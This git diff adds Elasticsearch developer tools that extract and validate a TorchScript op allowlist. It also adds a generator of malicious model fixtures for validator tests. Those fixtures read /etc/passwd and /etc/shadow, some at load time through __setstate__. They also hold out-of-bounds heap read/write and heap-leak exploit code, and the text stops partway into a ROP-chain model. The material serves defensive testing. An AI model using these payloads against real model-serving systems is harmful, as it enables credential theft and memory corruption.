a/dev-tools/extract_model_ops/extract_model_ops.py b/dev-tools/extract_model_ops/extract_model_ops.py new file mode 100644 index 0000000000..2a070d1cc8 --- /dev/null +++ b/dev-tools/extract_model_ops/extract_model_ops.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python3 +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# +"""Extract TorchScript operation sets from supported HuggingFace transformer architectures. + +This developer tool traces/scripts reference models and collects the set of +TorchScript operations that appear in their forward() computation graphs. +The output is a sorted, de-duplicated union of all operations which can be +used to build the C++ allowlist in CSupportedOperations.h. + +Usage: + python3 extract_model_ops.py [--per-model] [--cpp] [--golden OUTPUT] [--config CONFIG] + +Flags: + --per-model Print the op set for each model individually. + --cpp Print the union as a C++ initializer list. + --golden OUTPUT Write per-model op sets as a JSON golden file for the + C++ allowlist drift test. + --config CONFIG Path to the reference models JSON config file. + Defaults to reference_models.json in the same directory. +""" + +import argparse +import json +import sys +from pathlib import Path +from typing import Optional + +import torch + +from torchscript_utils import ( + collect_inlined_ops, + load_and_trace_hf_model, + load_model_config, +) + +SCRIPT_DIR = Path(__file__).resolve().parent +DEFAULT_CONFIG = SCRIPT_DIR / "reference_models.json" + + +def extract_ops_for_model(model_name: str, + quantize: bool = False, + auto_class: str | None = None, + config_overrides: dict | None = None) -> Optional[set[str]]: + """Trace a HuggingFace model and return its TorchScript op set. + + Returns None if the model could not be loaded or traced. + """ + label = f"{model_name} (quantized)" if quantize else model_name + print(f" Loading {label}...", file=sys.stderr) + traced = load_and_trace_hf_model(model_name, quantize=quantize, + auto_class=auto_class, + config_overrides=config_overrides) + if traced is None: + return None + return collect_inlined_ops(traced) + + +def format_cpp_initializer(ops: set[str]) -> str: + """Format the op set as a C++ initializer list for std::unordered_set.""" + sorted_ops = sorted(ops) + lines = [] + for op in sorted_ops: + lines.append(f' "{op}"sv,') + return "{\n" + "\n".join(lines) + "\n}" + + +def main(): + parser = argparse.ArgumentParser(description=__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter) + parser.add_argument("--per-model", action="store_true", + help="Print per-model op sets") + parser.add_argument("--cpp", action="store_true", + help="Print union as C++ initializer") + parser.add_argument("--golden", type=Path, default=None, metavar="OUTPUT", + help="Write per-model op sets as a JSON golden file") + parser.add_argument("--config", type=Path, default=DEFAULT_CONFIG, + help="Path to reference_models.json config file") + args = parser.parse_args() + + reference_models = load_model_config(args.config) + + per_model_ops = {} + union_ops = set() + + print("Extracting TorchScript ops from supported architectures...", + file=sys.stderr) + + failed = [] + for arch, spec in reference_models.items(): + ops = extract_ops_for_model(spec["model_id"], + quantize=spec["quantized"], + auto_class=spec["auto_class"], + config_overrides=spec["config_overrides"]) + if ops is None: + failed.append(arch) + print(f" {arch}: FAILED", file=sys.stderr) + continue + per_model_ops[arch] = ops + union_ops.update(ops) + print(f" {arch}: {len(ops)} ops", file=sys.stderr) + + print(f"\nTotal union: {len(union_ops)} unique ops", file=sys.stderr) + if failed: + print(f"Failed models: {', '.join(failed)}", file=sys.stderr) + + if args.golden: + golden = { + "pytorch_version": torch.__version__, + "models": { + arch: { + "model_id": reference_models[arch]["model_id"], + "quantized": reference_models[arch]["quantized"], + "ops": sorted(ops), + } + for arch, ops in sorted(per_model_ops.items()) + }, + } + args.golden.parent.mkdir(parents=True, exist_ok=True) + with open(args.golden, "w") as f: + json.dump(golden, f, indent=2) + f.write("\n") + print(f"Wrote golden file to {args.golden} " + f"({len(per_model_ops)} models, " + f"{len(union_ops)} unique ops)", file=sys.stderr) + + if args.per_model: + for arch, ops in sorted(per_model_ops.items()): + spec = reference_models[arch] + label = spec["model_id"] + if spec["quantized"]: + label += " (quantized)" + print(f"\n=== {arch} ({label}) ===") + for op in sorted(ops): + print(f" {op}") + + if args.cpp: + print("\n// C++ initializer for SUPPORTED_OPERATIONS:") + print(format_cpp_initializer(union_ops)) + elif not args.golden: + print("\n// Sorted union of all operations:") + for op in sorted(union_ops): + print(op) + + +if __name__ == "__main__": + main() diff --git a/dev-tools/extract_model_ops/reference_models.json b/dev-tools/extract_model_ops/reference_models.json new file mode 100644 index 0000000000..23368f053f --- /dev/null +++ b/dev-tools/extract_model_ops/reference_models.json @@ -0,0 +1,40 @@ +{ + "bert": "bert-base-uncased", + "roberta": "roberta-base", + "distilbert": "distilbert-base-uncased", + "electra": "google/electra-small-discriminator", + "mpnet": "microsoft/mpnet-base", + "deberta": "microsoft/deberta-base", + "dpr": "facebook/dpr-ctx_encoder-single-nq-base", + "mobilebert": "google/mobilebert-uncased", + "xlm-roberta": "xlm-roberta-base", + "elastic-bge-m3": "elastic/bge-m3", + "elastic-distilbert-cased-ner": "elastic/distilbert-base-cased-finetuned-conll03-english", + "elastic-distilbert-uncased-ner": "elastic/distilbert-base-uncased-finetuned-conll03-english", + "elastic-eis-elser-v2": "elastic/eis-elser-v2", + "elastic-elser-v2": "elastic/elser-v2", + "elastic-hugging-face-elser": "elastic/hugging-face-elser", + "elastic-multilingual-e5-small-optimized": "elastic/multilingual-e5-small-optimized", + "multilingual-e5-small": "intfloat/multilingual-e5-small", + "elastic-splade-v3": "elastic/splade-v3", + "elastic-test-elser-v2": "elastic/test-elser-v2", + "distilbert-sst2": "distilbert-base-uncased-finetuned-sst-2-english", + "all-distilroberta-v1": "sentence-transformers/all-distilroberta-v1", + + "_comment:prepacked": "Prepacked models: .rerank-v1 is an internal Elastic model hosted at ml-models.elastic.co, not on HuggingFace. Its ops are extracted from the TorchScript .pt file directly and added to the golden file manually.", + + "_comment:eland": "Eland-deployed variants: Eland wraps models with additional layers (pooling, normalization) before tracing. The -eland entries in the golden file capture the full Eland-traced op set. These are extracted separately using eland[pytorch] and added to the golden file manually since extract_model_ops.py traces base HuggingFace models only.", + + "_comment:quantized": "Quantized variants: Eland applies torch.quantization.quantize_dynamic on nn.Linear layers when importing models. These produce quantized::* ops not present in the standard traced graphs above.", + "elastic-elser-v2-quantized": {"model_id": "elastic/elser-v2", "quantized": true}, + "elastic-eis-elser-v2-quantized": {"model_id": "elastic/eis-elser-v2", "quantized": true}, + "elastic-test-elser-v2-quantized": {"model_id": "elastic/test-elser-v2", "quantized": true}, + + "jina-embeddings-v5-text-nano": "jinaai/jina-embeddings-v5-text-nano", + + "_comment:qa-models": "Models from the Appex QA pytorch_tests suite. BART models require auto_class and config_overrides to trace correctly.", + "qa-tinyroberta-squad2": {"model_id": "deepset/tinyroberta-squad2", "auto_class": "AutoModelForQuestionAnswering"}, + "qa-squeezebert-mnli": "typeform/squeezebert-mnli", + "qa-bart-large-mnli": {"model_id": "facebook/bart-large-mnli", "auto_class": "AutoModelForSequenceClassification", "config_overrides": {"use_cache": false}}, + "qa-distilbart-mnli": {"model_id": "valhalla/distilbart-mnli-12-6", "auto_class": "AutoModelForSequenceClassification", "config_overrides": {"use_cache": false}} +} diff --git a/dev-tools/extract_model_ops/requirements.txt b/dev-tools/extract_model_ops/requirements.txt new file mode 100644 index 0000000000..70d0ebb78e --- /dev/null +++ b/dev-tools/extract_model_ops/requirements.txt @@ -0,0 +1,4 @@ +torch==2.7.1 +transformers>=4.40.0 +sentencepiece>=0.2.0 +protobuf>=5.0.0 diff --git a/dev-tools/extract_model_ops/torchscript_utils.py b/dev-tools/extract_model_ops/torchscript_utils.py new file mode 100644 index 0000000000..c412ff2cf3 --- /dev/null +++ b/dev-tools/extract_model_ops/torchscript_utils.py @@ -0,0 +1,165 @@ +#!/usr/bin/env python3 +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# +"""Shared utilities for extracting and inspecting TorchScript operations.""" + +import json +import os +import sys +from pathlib import Path + +import torch +from transformers import AutoConfig, AutoModel, AutoTokenizer + + +def load_model_config(config_path: Path) -> dict[str, dict]: + """Load a model config JSON file and normalise entries. + + Each entry is either a plain model-name string or a dict with + ``model_id`` (required) and optional fields: + + - ``quantized`` (bool, default False) — apply dynamic quantization. + - ``auto_class`` (str) — transformers Auto class name to use instead + of ``AutoModel`` (e.g. ``"AutoModelForSequenceClassification"``). + - ``config_overrides`` (dict) — extra kwargs passed to + ``AutoConfig.from_pretrained`` (e.g. ``{"use_cache": false}``). + + Keys starting with ``_comment`` are silently skipped. + + Raises ``ValueError`` for malformed entries so that config problems + are caught early with an actionable message. + """ + with open(config_path) as f: + raw = json.load(f) + + models: dict[str, dict] = {} + for key, value in raw.items(): + if key.startswith("_comment"): + continue + if isinstance(value, str): + models[key] = {"model_id": value, "quantized": False, + "auto_class": None, "config_overrides": {}} + elif isinstance(value, dict): + if "model_id" not in value: + raise ValueError( + f"Config entry {key!r} is a dict but missing required " + f"'model_id' key: {value!r}") + models[key] = { + "model_id": value["model_id"], + "quantized": value.get("quantized", False), + "auto_class": value.get("auto_class"), + "config_overrides": value.get("config_overrides", {}), + } + else: + raise ValueError( + f"Config entry {key!r} has unsupported type " + f"{type(value).__name__}: {value!r}. " + f"Expected a model name string or a dict with 'model_id'.") + return models + + +def collect_graph_ops(graph) -> set[str]: + """Collect all operation names from a TorchScript graph, including blocks.""" + ops = set() + for node in graph.nodes(): + ops.add(node.kind()) + for block in node.blocks(): + ops.update(collect_graph_ops(block)) + return ops + + +def collect_inlined_ops(module) -> set[str]: + """Clone the forward graph, inline all calls, and return the op set.""" + graph = module.forward.graph.copy() + torch._C._jit_pass_inline(graph) + return collect_graph_ops(graph) + + +def _resolve_auto_class(class_name: str | None): + """Resolve a transformers Auto class by name, defaulting to AutoModel.""" + if not class_name: + return AutoModel + import transformers + cls = getattr(transformers, class_name, None) + if cls is None: + raise ValueError(f"Unknown transformers class: {class_name}") + return cls + + +def load_and_trace_hf_model(model_name: str, quantize: bool = False, + auto_class: str | None = None, + config_overrides: dict | None = None): + """Load a HuggingFace model, tokenize sample input, and trace to TorchScript. + + When *quantize* is True the model is dynamically quantized (nn.Linear + layers converted to quantized::linear_dynamic) before tracing. This + mirrors what Eland does when importing models for Elasticsearch. + + *auto_class* selects a transformers Auto class by name (e.g. + ``"AutoModelForSequenceClassification"``). Defaults to ``AutoModel``. + + *config_overrides* supplies extra kwargs to ``AutoConfig.from_pretrained`` + (e.g. ``{"use_cache": False}`` for encoder-decoder models like BART). + + Returns the traced module, or None if the model could not be loaded or traced. + """ + token = os.environ.get("HF_TOKEN") + model_cls = _resolve_auto_class(auto_class) + overrides = config_overrides or {} + + try: + tokenizer = AutoTokenizer.from_pretrained( + model_name, token=token, trust_remote_code=True) + config = AutoConfig.from_pretrained( + model_name, torchscript=True, token=token, + trust_remote_code=True, **overrides) + model = model_cls.from_pretrained( + model_name, config=config, token=token, + trust_remote_code=True) + model.eval() + except Exception as exc: + print(f" LOAD ERROR: {exc}", file=sys.stderr) + return None + + if quantize: + try: + model = torch.quantization.quantize_dynamic( + model, {torch.nn.Linear}, dtype=torch.qint8) + print(" Applied dynamic quantization (nn.Linear -> qint8)", + file=sys.stderr) + except Exception as exc: + print(f" QUANTIZE ERROR: {exc}", file=sys.stderr) + return None + + inputs = tokenizer( + "This is a sample input for graph extraction.", + return_tensors="pt", padding="max_length", + max_length=32, truncation=True) + + input_ids = inputs["input_ids"] + attention_mask = inputs["attention_mask"] + + try: + traced = torch.jit.trace( + model, (input_ids, attention_mask), strict=False) + except Exception as exc: + print(f" TRACE WARNING: {exc}", file=sys.stderr) + print(" Falling back to torch.jit.script...", file=sys.stderr) + try: + traced = torch.jit.script(model) + except Exception as exc2: + print(f" SCRIPT ERROR: {exc2}", file=sys.stderr) + return None + + # Free the original HF model to reduce peak memory when validating + # many models sequentially. + del model, tokenizer, inputs + return traced diff --git a/dev-tools/extract_model_ops/validate_allowlist.py b/dev-tools/extract_model_ops/validate_allowlist.py new file mode 100644 index 0000000000..d7a1ba99cd --- /dev/null +++ b/dev-tools/extract_model_ops/validate_allowlist.py @@ -0,0 +1,224 @@ +#!/usr/bin/env python3 +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# +"""Validate that the C++ operation allowlist accepts all supported model architectures. + +Traces each model listed in a JSON config file, extracts its TorchScript +operations (using the same inlining approach as the C++ validator), and +checks every operation against the ALLOWED_OPERATIONS and FORBIDDEN_OPERATIONS +sets parsed from CSupportedOperations.cc. + +This is the Python-side equivalent of the C++ CModelGraphValidator and is +intended as an integration test: if any legitimate model produces an +operation that the C++ code would reject, this script exits non-zero. + +Exit codes: + 0 All models pass (no false positives). + 1 At least one model was rejected or a model failed to load/trace. + +Usage: + python3 validate_allowlist.py [--config CONFIG] [--verbose] +""" + +import argparse +import gc +import re +import sys +from pathlib import Path +from typing import Optional + +import torch + +from torchscript_utils import ( + collect_inlined_ops, + load_and_trace_hf_model, + load_model_config, +) + +SCRIPT_DIR = Path(__file__).resolve().parent +REPO_ROOT = SCRIPT_DIR.parents[1] +DEFAULT_CONFIG = SCRIPT_DIR / "validation_models.json" +SUPPORTED_OPS_CC = REPO_ROOT / "bin" / "pytorch_inference" / "CSupportedOperations.cc" + + +def parse_string_set_from_cc(path: Path, variable_name: str) -> set[str]: + """Extract a set of string literals from a C++ TStringViewSet definition.""" + text = path.read_text() + pattern = rf'{re.escape(variable_name)}\s*=\s*\{{(.*?)\}};' + match = re.search(pattern, text, re.DOTALL) + if not match: + raise RuntimeError(f"Could not find {variable_name} in {path}") + block = match.group(1) + return set(re.findall(r'"([^"]+)"', block)) + + +def load_cpp_sets() -> tuple[set[str], set[str]]: + """Parse ALLOWED_OPERATIONS and FORBIDDEN_OPERATIONS from the C++ source.""" + allowed = parse_string_set_from_cc(SUPPORTED_OPS_CC, "ALLOWED_OPERATIONS") + forbidden = parse_string_set_from_cc(SUPPORTED_OPS_CC, "FORBIDDEN_OPERATIONS") + return allowed, forbidden + + +def load_pt_and_collect_ops(pt_path: str) -> Optional[set[str]]: + """Load a saved TorchScript .pt file, inline, and return its op set.""" + try: + module = torch.jit.load(pt_path) + return collect_inlined_ops(module) + except Exception as exc: + print(f" LOAD ERROR: {exc}", file=sys.stderr) + return None + + +def check_ops(ops: set[str], + allowed: set[str], + forbidden: set[str], + verbose: bool) -> bool: + """Check an op set against allowed/forbidden lists. Returns True if all pass.""" + forbidden_found = sorted(ops & forbidden) + unrecognised = sorted(ops - allowed - forbidden) + + if verbose: + print(f" {len(ops)} distinct ops", file=sys.stderr) + + if forbidden_found: + print(f" FORBIDDEN: {forbidden_found}", file=sys.stderr) + if unrecognised: + print(f" UNRECOGNISED: {unrecognised}", file=sys.stderr) + + if not forbidden_found and not unrecognised: + print(f" PASS", file=sys.stderr) + return True + + print(f" FAIL", file=sys.stderr) + return False + + +def validate_model(model_name: str, + allowed: set[str], + forbidden: set[str], + verbose: bool, + quantize: bool = False, + auto_class: str | None = None, + config_overrides: dict | None = None) -> str: + """Validate one HuggingFace model. + + Returns "pass", "fail" (op validation failed), or "skip" (could not + load/trace — e.g. private model without HF_TOKEN). + """ + label = f"{model_name} (quantized)" if quantize else model_name + print(f" {label}...", file=sys.stderr) + traced = load_and_trace_hf_model(model_name, quantize=quantize, + auto_class=auto_class, + config_overrides=config_overrides) + if traced is None: + print(f" SKIPPED (could not load/trace)", file=sys.stderr) + return "skip" + ops = collect_inlined_ops(traced) + result = "pass" if check_ops(ops, allowed, forbidden, verbose) else "fail" + del traced + gc.collect() + return result + + +def validate_pt_file(name: str, + pt_path: str, + allowed: set[str], + forbidden: set[str], + verbose: bool) -> str: + """Validate a local TorchScript .pt file. + + Returns "pass", "fail", or "skip". + """ + print(f" {name} ({pt_path})...", file=sys.stderr) + ops = load_pt_and_collect_ops(pt_path) + if ops is None: + print(f" SKIPPED (could not load)", file=sys.stderr) + return "skip" + return "pass" if check_ops(ops, allowed, forbidden, verbose) else "fail" + + +def main(): + parser = argparse.ArgumentParser( + description=__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter) + parser.add_argument( + "--config", type=Path, default=DEFAULT_CONFIG, + help="Path to validation_models.json (default: %(default)s)") + parser.add_argument( + "--pt-dir", type=Path, default=None, + help="Directory of pre-saved .pt TorchScript files to validate") + parser.add_argument( + "--verbose", action="store_true", + help="Print per-model op counts") + args = parser.parse_args() + + print(f"PyTorch version: {torch.__version__}", file=sys.stderr) + + allowed, forbidden = load_cpp_sets() + print(f"Parsed {len(allowed)} allowed ops and {len(forbidden)} " + f"forbidden ops from {SUPPORTED_OPS_CC.name}", file=sys.stderr) + + results: dict[str, str] = {} + + models = load_model_config(args.config) + + print(f"Validating {len(models)} HuggingFace models from " + f"{args.config.name}...", file=sys.stderr) + + for arch, spec in models.items(): + results[arch] = validate_model( + spec["model_id"], allowed, forbidden, args.verbose, + quantize=spec["quantized"], + auto_class=spec.get("auto_class"), + config_overrides=spec.get("config_overrides")) + + if args.pt_dir and args.pt_dir.is_dir(): + pt_files = sorted(args.pt_dir.glob("*.pt")) + if pt_files: + print(f"Validating {len(pt_files)} local .pt files from " + f"{args.pt_dir}...", file=sys.stderr) + for pt_path in pt_files: + name = pt_path.stem + results[f"pt:{name}"] = validate_pt_file( + name, str(pt_path), allowed, forbidden, args.verbose) + + print(file=sys.stderr) + print("=" * 60, file=sys.stderr) + for key, status in results.items(): + display = status.upper() + if key.startswith("pt:"): + print(f" {key}: {display}", file=sys.stderr) + else: + spec = models[key] + label = spec["model_id"] + if spec["quantized"]: + label += " (quantized)" + print(f" {key} ({label}): {display}", file=sys.stderr) + + failed = [a for a, s in results.items() if s == "fail"] + skipped = [a for a, s in results.items() if s == "skip"] + passed = [a for a, s in results.items() if s == "pass"] + + print("=" * 60, file=sys.stderr) + print(f"{len(passed)} passed, {len(failed)} failed, " + f"{len(skipped)} skipped", file=sys.stderr) + + if skipped: + print(f"Skipped (could not load/trace — may need HF_TOKEN " + f"for private models): {', '.join(skipped)}", file=sys.stderr) + if failed: + print(f"FAILED (op validation): {', '.join(failed)}", file=sys.stderr) + + sys.exit(0 if not failed else 1) + + +if __name__ == "__main__": + main() diff --git a/dev-tools/extract_model_ops/validation_models.json b/dev-tools/extract_model_ops/validation_models.json new file mode 100644 index 0000000000..20aaf98d19 --- /dev/null +++ b/dev-tools/extract_model_ops/validation_models.json @@ -0,0 +1,41 @@ +{ + "bert": "bert-base-uncased", + "roberta": "roberta-base", + "distilbert": "distilbert-base-uncased", + "electra": "google/electra-small-discriminator", + "mpnet": "microsoft/mpnet-base", + "deberta": "microsoft/deberta-base", + "dpr": "facebook/dpr-ctx_encoder-single-nq-base", + "mobilebert": "google/mobilebert-uncased", + "xlm-roberta": "xlm-roberta-base", + + "elastic-bge-m3": "elastic/bge-m3", + "elastic-distilbert-cased-ner": "elastic/distilbert-base-cased-finetuned-conll03-english", + "elastic-distilbert-uncased-ner": "elastic/distilbert-base-uncased-finetuned-conll03-english", + "elastic-eis-elser-v2": "elastic/eis-elser-v2", + "elastic-elser-v2": "elastic/elser-v2", + "elastic-hugging-face-elser": "elastic/hugging-face-elser", + "elastic-multilingual-e5-small-optimized": "elastic/multilingual-e5-small-optimized", + "elastic-splade-v3": "elastic/splade-v3", + "elastic-test-elser-v2": "elastic/test-elser-v2", + + "elastic-elser-v2-quantized": {"model_id": "elastic/elser-v2", "quantized": true}, + "elastic-eis-elser-v2-quantized": {"model_id": "elastic/eis-elser-v2", "quantized": true}, + "elastic-test-elser-v2-quantized": {"model_id": "elastic/test-elser-v2", "quantized": true}, + + "ner-dslim-bert-base": "dslim/bert-base-NER", + "sentiment-distilbert-sst2": "distilbert-base-uncased-finetuned-sst-2-english", + + "es-multilingual-e5-small": "intfloat/multilingual-e5-small", + "es-all-MiniLM-L6-v2": "sentence-transformers/all-MiniLM-L6-v2", + "es-cross-encoder-ms-marco": "cross-encoder/ms-marco-MiniLM-L-6-v2", + "es-dpr-question-encoder": "facebook/dpr-question_encoder-single-nq-base", + + "jina-embeddings-v5-text-nano": "jinaai/jina-embeddings-v5-text-nano", + + "_comment:qa-models": "Models from the Appex QA pytorch_tests suite. BART models require auto_class and config_overrides to trace correctly.", + "qa-tinyroberta-squad2": {"model_id": "deepset/tinyroberta-squad2", "auto_class": "AutoModelForQuestionAnswering"}, + "qa-squeezebert-mnli": "typeform/squeezebert-mnli", + "qa-bart-large-mnli": {"model_id": "facebook/bart-large-mnli", "auto_class": "AutoModelForSequenceClassification", "config_overrides": {"use_cache": false}}, + "qa-distilbart-mnli": {"model_id": "valhalla/distilbart-mnli-12-6", "auto_class": "AutoModelForSequenceClassification", "config_overrides": {"use_cache": false}} +} diff --git a/dev-tools/generate_malicious_models.py b/dev-tools/generate_malicious_models.py new file mode 100644 index 0000000000..cd4d9c960c --- /dev/null +++ b/dev-tools/generate_malicious_models.py @@ -0,0 +1,408 @@ +#!/usr/bin/env python3 +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# +"""Generate malicious TorchScript model fixtures for validator integration tests. + +Each model is designed to exercise a specific attack vector that the +CModelGraphValidator must detect and reject. + +Usage: + python3 generate_malicious_models.py [output_dir] + +The output directory defaults to the same directory as this script. +""" + +import os +import sys +from pathlib import Path + +import torch +from torch import Tensor +from typing import Optional, Tuple + + +# --- Malicious model definitions --- + + +class FileReaderModel(torch.nn.Module): + """Uses aten::from_file to read arbitrary files from disk.""" + def forward(self, x: Tensor) -> Tensor: + stolen = torch.from_file("/etc/passwd", size=100) + return stolen + + +class MixedFileReaderModel(torch.nn.Module): + """Mixes allowed ops with a forbidden aten::from_file call.""" + def forward(self, x: Tensor) -> Tensor: + y = x + x + z = torch.from_file("/etc/shadow", size=10) + return y + z + + +class HiddenInSubmodule(torch.nn.Module): + """Hides aten::logit (unrecognised) three levels deep in submodules. + + Uses logit+clamp instead of sin so the fixture stays invalid when + aten::sin is added to the allowlist for transformer models (e.g. EuroBERT). + """ + def __init__(self): + super().__init__() + self.inner = _Inner() + + def forward(self, x: Tensor) -> Tensor: + y = x * x + return self.inner(y) + + +class _Inner(torch.nn.Module): + def __init__(self): + super().__init__() + self.leaf = _Leaf() + + def forward(self, x: Tensor) -> Tensor: + return self.leaf(x) + x + + +class _Leaf(torch.nn.Module): + def forward(self, x: Tensor) -> Tensor: + return torch.logit(torch.clamp(x, 1e-6, 1.0 - 1e-6)) + + +class ConditionalMalicious(torch.nn.Module): + """Hides an unrecognised op (aten::sin) inside one branch of a conditional.""" + def forward(self, x: Tensor) -> Tensor: + if x.sum() > 0: + return torch.sin(x) + else: + return x + x + + +class ManyUnrecognisedOps(torch.nn.Module): + """Uses several different unrecognised ops to simulate an unexpected arch.""" + def forward(self, x: Tensor) -> Tensor: + a = torch.sin(x) + b = torch.cos(x) + c = torch.tan(x) + d = torch.exp(x) + return a + b + c + d + + +class FileReaderInSubmodule(torch.nn.Module): + """Hides the forbidden aten::from_file inside a submodule.""" + def __init__(self): + super().__init__() + self.reader = _FileReaderChild() + + def forward(self, x: Tensor) -> Tensor: + return x + self.reader(x) + + +class _FileReaderChild(torch.nn.Module): + def forward(self, x: Tensor) -> Tensor: + return torch.from_file("/tmp/secret", size=10) + + +# --- inductor::_reinterpret_tensor OOB models (privately reported finding) --- +# +# Bypass of the aten::as_strided forbid: TorchInductor's _reinterpret_tensor +# takes an unchecked storage offset and yields the same class of OOB heap +# read/write. Both appear in the forward graph, so they are caught by the +# post-load validator now that inductor::_reinterpret_tensor is forbidden. + + +class ReinterpretTensorOobRead(torch.nn.Module): + """OOB heap read via inductor::_reinterpret_tensor (reporter PoC).""" + def forward(self, a: Tensor, b: Tensor, c: Tensor, d: Tensor) -> Tensor: + tmp = torch.tensor([1, 2, 3, 4, 5, 6, 7, 8]) + out: list[str] = [""] + for i in range(1, 1000): + target = torch.ops.inductor._reinterpret_tensor(tmp, [1], [1], i) + out.append(hex(target.item())) + assert 1 == 2, out + return tmp + + +class ReinterpretTensorOobWrite(torch.nn.Module): + """OOB heap write via inductor::_reinterpret_tensor + fill_ (reporter PoC).""" + def forward(self, a: Tensor, b: Tensor, c: Tensor, d: Tensor) -> Tensor: + tmp = torch.tensor([1, 2, 3, 4, 5, 6, 7, 8]) + acc = torch.zeros(1) + for i in range(1, 100): + target = torch.ops.inductor._reinterpret_tensor(tmp, [1], [1], i) + target.fill_(0) + acc = acc + target + return acc + + +# --- Load-time execution models (__setstate__) --- +# +# TorchScript serialises a module's __setstate__ method and runs it *during* +# torch::jit::load(), before the loaded Module is ever handed to +# CModelGraphValidator. Because the validator only walks the (inlined) forward +# graph, a forbidden op hidden in __setstate__ is invisible to it AND has +# already executed by the time validation would run. These fixtures reproduce +# that gap: their forward graphs are benign, so the current validator accepts +# them, yet loading them triggers aten::from_file at deserialization time. + + +class SetStateFileReaderModel(torch.nn.Module): + """aten::from_file hidden in __setstate__ — executes during load. + + The forbidden op never appears in forward(), so the post-load graph + validator (which inspects only the forward graph) does not see it. Worse, + torch::jit::load() runs __setstate__ before validation happens at all, so + the file read has already fired. This is the load-time execution gap + identified in security review. + """ + def __init__(self) -> None: + super().__init__() + self.w = torch.zeros(1) + + @torch.jit.export + def __getstate__(self) -> Tuple[Tensor, bool]: + return (self.w, self.training) + + @torch.jit.export + def __setstate__(self, state: Tuple[Tensor, bool]) -> None: + # Runs at deserialization time, before any graph validation. + leaked = torch.from_file("/etc/passwd", size=100) + self.w = state[0] + leaked[0] + self.training = state[1] + + def forward(self, x: Tensor) -> Tensor: + return x + self.w + + +class SetStateFileReaderInSubmodule(torch.nn.Module): + """Same load-time attack, but hidden in a submodule's __setstate__. + + Confirms that a pre-load scan must recurse into every serialised + __setstate__ in the archive, not just the top-level module's. + """ + def __init__(self) -> None: + super().__init__() + self.child = _SetStateFileReaderChild() + + def forward(self, x: Tensor) -> Tensor: + return x + self.child(x) + + +class _SetStateFileReaderChild(torch.nn.Module): + def __init__(self) -> None: + super().__init__() + self.w = torch.zeros(1) + + @torch.jit.export + def __getstate__(self) -> Tuple[Tensor, bool]: + return (self.w, self.training) + + @torch.jit.export + def __setstate__(self, state: Tuple[Tensor, bool]) -> None: + leaked = torch.from_file("/tmp/secret", size=10) + self.w = state[0] + leaked[0] + self.training = state[1] + + def forward(self, x: Tensor) -> Tensor: + return x + self.w + + +# --- Sandbox2 attack models (PR #2873) --- +# +# These reproduce real-world attack vectors that exploit torch.as_strided +# to leak heap addresses and build ROP chains. The graph validator must +# reject them because as_strided (and several helper ops) are not in the +# transformer-architecture allowlist. + + +class HeapLeakModel(torch.nn.Module): + """Leaks heap addresses via torch.as_strided with a malicious storage offset. + + The attack scans the heap for libtorch pointers by reading out-of-bounds + memory through a strided view. Key unrecognised ops: aten::as_strided, + aten::item, aten::__rshift__. + """ + def find_heap_overlap(self, tensors: Tensor) -> tuple[list[int], Tensor]: + evil_length = 0x900 * 8 + leak = torch.as_strided( + tensors, [evil_length], [1], 2305843009213693952 - evil_length) + index: list[int] = [-1] + for i in range(evil_length - 1 - 5, -1, -1): + if (leak[i + 3].item() == leak[i + 5].item() + and leak[i + 3].item() >> 40 == 127): + if (leak[i + 2].item() >= 0x100000000 + and leak[i + 2].item() <= 0x100000005): + index.append(i) + return (index, leak) + + def forward(self, a: Tensor, b: Tensor, c: Tensor, d: Tensor) -> Tensor: + tmp: list[Tensor] = [] + heap_len = 200 + array_len = 0x900 + for i in range(heap_len): + tmp_values = [0xdead00000 + i] + [ + 0xdead00000 + j for j in range(2, array_len)] + tmp.append(torch.tensor(tmp_values)) + for i in range(heap_len): + indexs, leak = self.find_heap_overlap(tmp[i]) + indexs = indexs[1:] + if indexs == []: + continue + for index in indexs: + heap_addr = leak[index + 3].item() + libtorch_python_addr = leak[index + 1].item() + libtorch_cpu_addr = libtorch_python_addr - 0xc878b50 + assert 1 == 0, "leak: " + hex(libtorch_cpu_addr) + for i in range(heap_len): + print(tmp[i].shape) + return torch.zeros(0) + + +class RopExploitModel(torch.nn.Module): + """Builds a ROP chain to mprotect heap memory and execute shellcode. + + Extends the heap-leak technique to overwrite function pointers and + chain gadgets that call mprotect followed by attacker-controlled + shellcode that writes files to disk. Key unrecognised ops: + aten::as_strided, aten::copy_, aten::Delete. + """ + def find_heap_overlap(self, tensors: Tensor) -> tuple[list[int], Tensor]: + evil_length = 0x900 * 8 + leak = torch.as_strided( + tensors, [evil_length], [1], 2305843009213693952 - evil_length) + index: list[int] = [-1] + for i in range(evil_length - 1 - 5, -1, -1): + if (leak[i + 3].item() == leak[i + 5].item() + and leak[i + 3].item() >> 40 == 127): + if (leak[i + 2].item() >= 0x100000000 + and leak[i + 2].item() <= 0x100000005): + index.append(i) + return (index, leak) + + def get_address_data(self, leak: Tensor, index: int, + tmp: list[Tensor], target_addr: int) -> int: + leak[index] = target_addr + return int(tmp[0].item()) + + def forward(self, a: 